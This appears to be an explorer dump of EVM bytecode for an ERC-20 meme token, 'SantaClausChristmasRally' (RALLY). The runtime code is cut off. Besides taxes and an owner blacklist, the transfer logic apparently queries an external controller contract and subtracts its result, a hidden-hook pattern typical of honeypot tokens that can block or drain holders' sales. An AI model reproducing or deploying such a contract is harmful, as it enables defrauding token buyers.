ffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e2285876122d590919063ffffffff16565b604051611e2f9190612561565b60405180910390a35050505050565b6000838311158290611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7d9190612412565b60405180910390fd5b5060008385611e959190612fba565b9050809150509392505050565b6000808303611eb45760009050611f16565b60008284611ec29190612fee565b9050828482611ed1919061305f565b14611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0890613102565b60405180910390fd5b809150505b92915050565b6000611f5e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231f565b905092915050565b600080823b905060008111915050919050565b6000818311611f885782611f8a565b815b905092915050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fca57611fc961260b565b5b604051908082528060200260200182016040528015611ff85781602001602082028036833780820191505090505b50905030816000815181106120105761200f61289a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120db91906129c1565b816001815181106120ef576120ee61289a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b9565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121ba9594939291906131e0565b600060405180830381600087803b1580156121d457600080fd5b505af11580156121e8573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612273573d6000803e3d6000fd5b5050565b60008082846122869190612eed565b9050838110156122cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c290613286565b60405180910390fd5b8091505092915050565b600061231783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3e565b905092915050565b60008083118290612366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235d9190612412565b60405180910390fd5b5060008385612375919061305f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123bc5780820151818401526020810190506123a1565b60008484015250505050565b6000601f19601f8301169050919050565b60006123e482612382565b6123ee818561238d565b93506123fe81856020860161239e565b612407816123c8565b840191505092915050565b6000602082019050818103600083015261242c81846123d9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061247382612448565b9050919050565b61248381612468565b811461248e57600080fd5b50565b6000813590506124a08161247a565b92915050565b6000819050919050565b6124b9816124a6565b81146124c457600080fd5b50565b6000813590506124d6816124b0565b92915050565b600080604083850312156124f3576124f261243e565b5b600061250185828601612491565b9250506020612512858286016124c7565b9150509250929050565b60008115159050919050565b6125318161251c565b82525050565b600060208201905061254c6000830184612528565b92915050565b61255b816124a6565b82525050565b60006020820190506125766000830184612552565b92915050565b6000806000606084860312156125955761259461243e565b5b60006125a386828701612491565b93505060206125b486828701612491565b92505060406125c5868287016124c7565b9150509250925092565b600060ff82169050919050565b6125e5816125cf565b82525050565b600060208201905061260060008301846125dc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612643826123c8565b810181811067ffffffffffffffff821117156126625761266161260b565b5b80604052505050565b6000612675612434565b9050612681828261263a565b919050565b600067ffffffffffffffff8211156126a1576126a061260b565b5b602082029050602081019050919050565b600080fd5b60006126ca6126c584612686565b61266b565b905080838252602082019050602084028301858111156126ed576126ec6126b2565b5b835b8181101561271657806127028882612491565b8452602084019350506020810190506126ef565b5050509392505050565b600082601f83011261273557612734612606565b5b81356127458482602086016126b7565b91505092915050565b6000602082840312156127645761276361243e565b5b600082013567ffffffffffffffff81111561278257612781612443565b5b61278e84828501612720565b91505092915050565b6000602082840312156127ad576127ac61243e565b5b60006127bb84828501612491565b91505092915050565b6127cd81612468565b82525050565b60006020820190506127e860008301846127c4565b92915050565b600080604083850312156128055761280461243e565b5b600061281385828601612491565b925050602061282485828601612491565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061286460208361238d565b915061286f8261282e565b602082019050919050565b6000602082019050818103600083015261289381612857565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612903826124a6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612935576129346128c9565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061297660178361238d565b915061298182612940565b602082019050919050565b600060208201905081810360008301526129a581612969565b9050919050565b6000815190506129bb8161247a565b92915050565b6000602082840312156129d7576129d661243e565b5b60006129e5848285016129ac565b91505092915050565b6000604082019050612a0360008301856127c4565b612a1060208301846127c4565b9392505050565b6000819050919050565b6000819050919050565b6000612a46612a41612a3c84612a17565b612a21565b6124a6565b9050919050565b612a5681612a2b565b82525050565b600060c082019050612a7160008301896127c4565b612a7e6020830188612552565b612a8b6040830187612a4d565b612a986060830186612a4d565b612aa560808301856127c4565b612ab260a0830184612552565b979650505050505050565b600081519050612acc816124b0565b92915050565b600080600060608486031215612aeb57612aea61243e565b5b6000612af986828701612abd565b9350506020612b0a86828701612abd565b9250506040612b1b86828701612abd565b9150509250925092565b6000604082019050612b3a60008301856127c4565b612b476020830184612552565b9392505050565b612b578161251c565b8114612b6257600080fd5b50565b600081519050612b7481612b4e565b92915050565b600060208284031215612b9057612b8f61243e565b5b6000612b9e84828501612b65565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c0360248361238d565b9150612c0e82612ba7565b604082019050919050565b60006020820190508181036000830152612c3281612bf6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c9560228361238d565b9150612ca082612c39565b604082019050919050565b60006020820190508181036000830152612cc481612c88565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d2760258361238d565b9150612d3282612ccb565b604082019050919050565b60006020820190508181036000830152612d5681612d1a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612db960238361238d565b9150612dc482612d5d565b604082019050919050565b60006020820190508181036000830152612de881612dac565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e4b60298361238d565b9150612e5682612def565b604082019050919050565b60006020820190508181036000830152612e7a81612e3e565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612eb760198361238d565b9150612ec282612e81565b602082019050919050565b60006020820190508181036000830152612ee681612eaa565b9050919050565b6000612ef8826124a6565b9150612f03836124a6565b9250828201905080821115612f1b57612f1a6128c9565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612f57601a8361238d565b9150612f6282612f21565b602082019050919050565b60006020820190508181036000830152612f8681612f4a565b9050919050565b600060208284031215612fa357612fa261243e565b5b6000612fb184828501612abd565b91505092915050565b6000612fc5826124a6565b9150612fd0836124a6565b9250828203905081811115612fe857612fe76128c9565b5b92915050565b6000612ff9826124a6565b9150613004836124a6565b9250828202613012816124a6565b91508282048414831517613029576130286128c9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061306a826124a6565b9150613075836124a6565b92508261308557613084613030565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006130ec60218361238d565b91506130f782613090565b604082019050919050565b6000602082019050818103600083015261311b816130df565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61315781612468565b82525050565b6000613169838361314e565b60208301905092915050565b6000602082019050919050565b600061318d82613122565b613197818561312d565b93506131a28361313e565b8060005b838110156131d35781516131ba888261315d565b97506131c583613175565b9250506001810190506131a6565b5085935050505092915050565b600060a0820190506131f56000830188612552565b6132026020830187612a4d565b81810360408301526132148186613182565b905061322360608301856127c4565b6132306080830184612552565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613270601b8361238d565b915061327b8261323a565b602082019050919050565b6000602082019050818103600083015261329f81613263565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be6f3bec0a9dd0919b1dafcf3ac5c081fe7b2c56d77998869469f33855b5b25964736f6c634300081300330000000000000000000000000000000000000000000000000000000153bf19000000000000000000000000008cfa0f9428dac28c3c8364e6768c63f617631b48
Deployed Bytecode
0x6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb146103d2578063bf474bed1461040f578063c9567bf91461043a578063d34628cc14610451578063dd62ed3e1461047a5761012a565b8063751039fc1461030f5780637d1db4a5146103265780638da5cb5b146103515780638f9a55c01461037c57806395d89b41146103a75761012a565b8063313ce567116100e7578063313ce5671461022a57806331c2d847146102555780633bbac5791461027e57806370a08231146102bb578063715018a6146102f85761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104b7565b6040516101519190612412565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906124dc565b6104f4565b60405161018e9190612537565b60405180910390f35b3480156101a357600080fd5b506101ac610512565b6040516101b99190612561565b60405180910390f35b3480156101ce57600080fd5b506101d7610518565b6040516101e49190612561565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f919061257c565b610522565b6040516102219190612537565b60405180910390f35b34801561023657600080fd5b5061023f6105fb565b60405161024c91906125eb565b60405180910390f35b34801561026157600080fd5b5061027c6004803603810190610277919061274e565b610604565b005b34801561028a57600080fd5b506102a560048036038101906102a09190612797565b61072e565b6040516102b29190612537565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612797565b610784565b6040516102ef9190612561565b60405180910390f35b34801561030457600080fd5b5061030d6107cd565b005b34801561031b57600080fd5b50610324610920565b005b34801561033257600080fd5b5061033b610a02565b6040516103489190612561565b60405180910390f35b34801561035d57600080fd5b50610366610a08565b60405161037391906127d3565b60405180910390f35b34801561038857600080fd5b50610391610a31565b60405161039e9190612561565b60405180910390f35b3480156103b357600080fd5b506103bc610a37565b6040516103c99190612412565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f491906124dc565b610a74565b6040516104069190612537565b60405180910390f35b34801561041b57600080fd5b50610424610a92565b6040516104319190612561565b60405180910390f35b34801561044657600080fd5b5061044f610a98565b005b34801561045d57600080fd5b506104786004803603810190610473919061274e565b611000565b005b34801561048657600080fd5b506104a1600480360381019061049c91906127ee565b61112a565b6040516104ae9190612561565b60405180910390f35b60606040518060400160405280601881526020017f53616e7461436c6175734368726973746d617352616c6c790000000000000000815250905090565b60006105086105016111b1565b84846111b9565b6001905092915050565b60145481565b6000600f54905090565b600061052f848484611382565b6105f08461053b6111b1565b6105eb856040518060600160405280602881526020016132a760289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a16111b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e9092919063ffffffff16565b6111b9565b600190509392505050565b60006012905090565b61060c6111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106909061287a565b60405180910390fd5b60005b815181101561072a576000600460008484815181106106be576106bd61289a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610722906128f8565b91505061069c565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d56111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108599061287a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109286111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac9061287a565b60405180910390fd5b600f54601181905550600f546012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516109f89190612561565b60405180910390a1565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f52414c4c59000000000000000000000000000000000000000000000000000000815250905090565b6000610a88610a816111b1565b8484611382565b6001905092915050565b60135481565b610aa06111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061287a565b60405180910390fd5b601760149054906101000a900460ff1615610b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b749061298c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c0130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f546111b9565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906129c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f91906129c1565b6040518363ffffffff1660e01b8152600401610d5c9291906129ee565b6020604051808303816000875af1158015610d7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9f91906129c1565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e2830610784565b600080610e33610a08565b426040518863ffffffff1660e01b8152600401610e5596959493929190612a5c565b60606040518083038185885af1158015610e73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e989190612ad2565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f3a929190612b25565b6020604051808303816000875af1158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d9190612b7a565b50601054601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600681905550565b6110086111b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c9061287a565b60405180910390fd5b60005b8151811015611126576001600460008484815181106110ba576110b961289a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061111e906128f8565b915050611098565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90612c19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90612cab565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113759190612561565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e890612d3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145790612dcf565b60405180910390fd5b600081116114a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149a90612e61565b60405180910390fd5b6000806114ae610a08565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561151c57506114ec610a08565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115345750601760149054906101000a900460ff165b15611b8057600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115dd5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115e657600080fd5b6116226064611614600b54600e541161160157600754611605565b6009545b86611ea290919063ffffffff16565b611f1c90919063ffffffff16565b9150601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156116cf5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561180a5760115483111561176f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176690612ecd565b60405180910390fd5b6012548361177c86610784565b6117869190612eed565b11156117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be90612f6d565b60405180910390fd5b4360036006546117d79190612eed565b11156117f1576117e684611f66565b156117f057600080fd5b5b600e6000815480929190611804906128f8565b91905055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118b25750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561191057601254836118c486610784565b6118ce9190612eed565b111561190f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190690612f6d565b60405180910390fd5b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561199957503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156119dd576119da60646119cc600c54600e54116119b9576008546119bd565b600a545b86611ea290919063ffffffff16565b611f1c90919063ffffffff16565b91505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7888aec30876040518363ffffffff1660e01b8152600401611a3a9291906129ee565b6020604051808303816000875af1158015611a59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7d9190612f8d565b90506000811115611a97578082611a949190612fba565b91505b6000611aa230610784565b9050601760159054906101000a900460ff16158015611b0e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611b265750601760169054906101000a900460ff165b8015611b33575060135481115b8015611b425750600d54600e54115b15611b7e57611b64611b5f85611b5a84601454611f79565b611f79565b611f92565b60004790506000811115611b7c57611b7b4761220b565b5b505b505b6000821115611c8457611bdb82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c7b9190612561565b60405180910390a35b611cd683600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7d611d2f83856122d590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e2285876122d590919063ffffffff16565b604051611e2f9190612561565b60405180910390a35050505050565b6000838311158290611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7d9190612412565b60405180910390fd5b5060008385611e959190612fba565b9050809150509392505050565b6000808303611eb45760009050611f16565b60008284611ec29190612fee565b9050828482611ed1919061305f565b14611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0890613102565b60405180910390fd5b809150505b92915050565b6000611f5e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231f565b905092915050565b600080823b905060008111915050919050565b6000818311611f885782611f8a565b815b905092915050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fca57611fc961260b565b5b604051908082528060200260200182016040528015611ff85781602001602082028036833780820191505090505b50905030816000815181106120105761200f61289a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120db91906129c1565b816001815181106120ef576120ee61289a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111b9565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121ba9594939291906131e0565b600060405180830381600087803b1580156121d457600080fd5b505af11580156121e8573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612273573d6000803e3d6000fd5b5050565b60008082846122869190612eed565b9050838110156122cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c290613286565b60405180910390fd5b8091505092915050565b600061231783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3e565b905092915050565b60008083118290612366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235d9190612412565b60405180910390fd5b5060008385612375919061305f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123bc5780820151818401526020810190506123a1565b60008484015250505050565b6000601f19601f8301169050919050565b60006123e482612382565b6123ee818561238d565b93506123fe81856020860161239e565b612407816123c8565b840191505092915050565b6000602082019050818103600083015261242c81846123d9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061247382612448565b9050919050565b61248381612468565b811461248e57600080fd5b50565b6000813590506124a08161247a565b92915050565b6000819050919050565b6124b9816124a6565b81146124c457600080fd5b50565b6000813590506124d6816124b0565b92915050565b600080604083850312156124f3576124f261243e565b5b600061250185828601612491565b9250506020612512858286016124c7565b9150509250929050565b60008115159050919050565b6125318161251c565b82525050565b600060208201905061254c6000830184612528565b92915050565b61255b816124a6565b82525050565b60006020820190506125766000830184612552565b92915050565b6000806000606084860312156125955761259461243e565b5b60006125a386828701612491565b93505060206125b486828701612491565b92505060406125c5868287016124c7565b9150509250925092565b600060ff82169050919050565b6125e5816125cf565b82525050565b600060208201905061260060008301846125dc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612643826123c8565b810181811067ffffffffffffffff821117156126625761266161260b565b5b80604052505050565b6000612675612434565b9050612681828261263a565b919050565b600067ffffffffffffffff8211156126a1576126a061260b565b5b602082029050602081019050919050565b600080fd5b60006126ca6126c584612686565b61266b565b905080838252602082019050602084028301858111156126ed576126ec6126b2565b5b835b8181101561271657806127028882612491565b8452602084019350506020810190506126ef565b5050509392505050565b600082601f83011261273557612734612606565b5b81356127458482602086016126b7565b91505092915050565b6000602082840312156127645761276361243e565b5b600082013567ffffffffffffffff81111561278257612781612443565b5b61278e84828501612720565b91505092915050565b6000602082840312156127ad576127ac61243e565b5b60006127bb84828501612491565b91505092915050565b6127cd81612468565b82525050565b60006020820190506127e860008301846127c4565b92915050565b600080604083850312156128055761280461243e565b5b600061281385828601612491565b925050602061282485828601612491565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061286460208361238d565b915061286f8261282e565b602082019050919050565b6000602082019050818103600083015261289381612857565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612903826124a6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612935576129346128c9565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061297660178361238d565b915061298182612940565b602082019050919050565b600060208201905081810360008301526129a581612969565b9050919050565b6000815190506129bb8161247a565b92915050565b6000602082840312156129d7576129d661243e565b5b60006129e5848285016129ac565b91505092915050565b6000604082019050612a0360008301856127c4565b612a1060208301846127c4565b9392505050565b6000819050919050565b6000819050919050565b6000612a46612a41612a3c84612a17565b612a21565b6124a6565b9050919050565b612a5681612a2b565b82525050565b600060c082019050612a7160008301896127c4565b612a7e6020830188612552565b612a8b6040830187612a4d565b612a986060830186612a4d565b612aa560808301856127c4565b612ab260a0830184612552565b979650505050505050565b600081519050612acc816124b0565b92915050565b600080600060608486031215612aeb57612aea61243e565b5b6000612af986828701612abd565b9350506020612b0a86828701612abd565b9250506040612b1b86828701612abd565b9150509250925092565b6000604082019050612b3a60008301856127c4565b612b476020830184612552565b9392505050565b612b578161251c565b8114612b6257600080fd5b50565b600081519050612b7481612b4e565b92915050565b600060208284031215612b9057612b8f61243e565b5b6000612b9e84828501612b65565b91505092915050565b7f45524332303a2061707072